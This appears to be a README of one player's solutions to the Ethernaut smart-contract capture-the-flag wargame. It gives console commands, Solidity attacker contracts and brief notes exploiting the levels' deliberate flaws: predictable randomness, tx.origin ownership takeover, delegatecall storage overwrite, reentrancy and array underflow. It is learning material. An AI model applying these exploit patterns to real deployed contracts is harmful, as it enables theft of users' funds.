└── README.md /README.md: -------------------------------------------------------------------------------- 1 | # ethernaut-challenges 2 | 3 | Ethernaut is a list of smart contract - find the exploit - challenges: https://ethernaut.openzeppelin.com/ 4 | 5 | ### challenge 1 6 | await contract.contribute({value: toWei("0.000001")}) 7 | 8 | await contract.sendTransaction({value: toWei("0.000001")}) 9 | 10 | await contract.withdraw() 11 | 12 | ### challenge 2 13 | Constructor spelled incorrectly 14 | 15 | 16 | await contract.Fal1out({value: toWei("0.00000001")}) 17 | 18 | ### challenge 3 19 | 20 | ``` 21 | pragma solidity ^0.8.0; 22 | 23 | import "https://github.com/OpenZeppelin/openzeppelin-contracts/contracts/utils/math/SafeMath.sol"; 24 | 25 | interface CoinFlip { 26 | function flip(bool) external; 27 | } 28 | 29 | contract Attack { 30 | address cF = 0x30C7A39F911f075F45434357af31Ec5aaA9828bb; 31 | 32 | uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; 33 | 34 | uint256 public value; 35 | 36 | function attack() public returns (uint256){ 37 | uint256 blockValue = uint256(blockhash(block.number - 1)); 38 | 39 | uint256 coinFlip = blockValue / FACTOR; 40 | bool side = coinFlip == 1 ? true : false; 41 | 42 | CoinFlip(cF).flip(side); 43 | 44 | return blockValue; 45 | } 46 | } 47 | ``` 48 | 49 | ### challenge 4 50 | 51 | ``` 52 | pragma solidity ^0.8.0; 53 | 54 | interface Telephone { 55 | function changeOwner(address) external; 56 | } 57 | 58 | contract Attack { 59 | address telephoneAddress = 0x0bDb4C476e8719Db25Baac7Ab796008023C5Ed3A; 60 | address myAddress = 0xD0eba5f813cEfa1FD5f60E11feCD84f39a9dDA88; 61 | 62 | function attack() public { 63 | Telephone(telephoneAddress).changeOwner(myAddress); 64 | } 65 | } 66 | ``` 67 | 68 | ### challenge 5 69 | 70 | Underflow and has to be called by someone else 71 | 72 | ### challenge 6 73 | 74 | await window.web3.eth.sendTransaction({ 75 | from: '0xD0eba5f813cEfa1FD5f60E11feCD84f39a9dDA88', 76 | to: '0x601D70A2fFAC4C90A3D4c4931564EE3d857d39F8', 77 | data: '0xdd365b8b' 78 | }) 79 | 80 | 81 | ### challenge 8 82 | 83 | This will give you the pass: 84 | 85 | await window.web3.eth.getStorageAt(contract.address,1) 86 | 87 | ### challenge 10 88 | 89 | classic reentracy attack in withdraw 90 | 91 | ### challenge 11 92 | 93 | ``` 94 | // SPDX-License-Identifier: MIT 95 | pragma solidity ^0.6.0; 96 | 97 | interface Elevator { 98 | function goTo(uint _floor) external; 99 | } 100 | 101 | contract Attacker { 102 | uint256 public nn; 103 | 104 | function attack(address _address) external { 105 | Elevator elevator = Elevator(_address); 106 | elevator.goTo(22); 107 | 108 | } 109 | 110 | function isLastFloor(uint) external returns (bool) { 111 | if (nn % 2 == 0) { 112 | nn += 1; 113 | return false; 114 | } else { 115 | nn += 1; 116 | return true; 117 | } 118 | } 119 | } 120 | ``` 121 | 122 | ### challenge 12 123 | 124 | pretty easy to read out the storage. 125 | 126 | for whatever reason metamask would change my input data which took me one hour to figure out. works with remix. 127 | 128 | ### challenge 15 129 | 130 | create smartcontract and give it the allowance for all tokens. then run the attacker contract below. 131 | 132 | ``` 133 | contract Attacker { 134 | function attack(address _address) public { 135 | address me = 0xD0eba5f813cEfa1FD5f60E11feCD84f39a9dDA88; 136 | address other = 0xEd6715D2172BFd50C2DBF608615c2AB497904803; 137 | NaughtCoin nc = NaughtCoin(_address); 138 | nc.transferFrom(me, other, nc.balanceOf(me)); 139 | } 140 | } 141 | ``` 142 | 143 | 144 | ### challenge 16 145 | 146 | most difficult until now... 147 | 148 | ``` 149 | contract Attacker { 150 | address public timeZone1Library; 151 | address public timeZone2Library; 152 | address public owner; 153 | 154 | function setTime(uint256 _address) public { 155 | owner = address(uint160(_address)); 156 | } 157 | } 158 | ``` 159 | 160 | ### challenge 17 161 | 162 | cheated by getting the contract address from etherscan (lol). correct way would be to get the account address (its deterministic) from `keccack256(address, nonce)` than I simply selfdestructed the contract. 163 | 164 | ### challenge 18 165 | 166 | You have to create bytecode (for contract creation) that will create bytecode that returns 42. Do not forget evm is big endian! 167 | 168 | ``` 169 | 6060600053602A600153606060025360006003536052600453606060055360206006536060600753600060085360F3600953600A6000F3 170 | ``` 171 | 172 | ### challenge 20 173 | 174 | ``` 175 | pragma solidity ^0.6.0; 176 | 177 | contract Partner { 178 | 179 | fallback() external payable { 180 | assert(false); 181 | } 182 | } 183 | ``` 184 | 185 | ### challenge 21 186 | 187 | 188 | ``` 189 | pragma solidity ^0.6.0; 190 | 191 | contract Shop { 192 | bool public isSold; 193 | 194 | function buy() external {} 195 | } 196 | 197 | contract Buyer { 198 | Shop _shop = Shop(0x6F818c393e11624BcBCC6eAe4144fbd1235eA212); 199 | 200 | function price() external view returns (uint) { 201 | bool _isSold = _shop.isSold(); 202 | 203 | if (_isSold) { 204 | return 33; 205 | } 206 | if (!_isSold) { 207 | return 120; 208 | } 209 | 210 | } 211 | 212 | function attack() public { 213 | _shop.buy(); 214 | } 215 | } 216 | ``` 217 | 218 | ### challenge 19 219 | 220 | Wow, this was the most fun so far. 221 | You have to exploit the array underflow. That allows you to write to any storage address of the contract. Super powerful stuff. 222 | Good thing that you can not manipulate array length after solidity 0.6 anymore. 223 | --------------------------------------------------------------------------------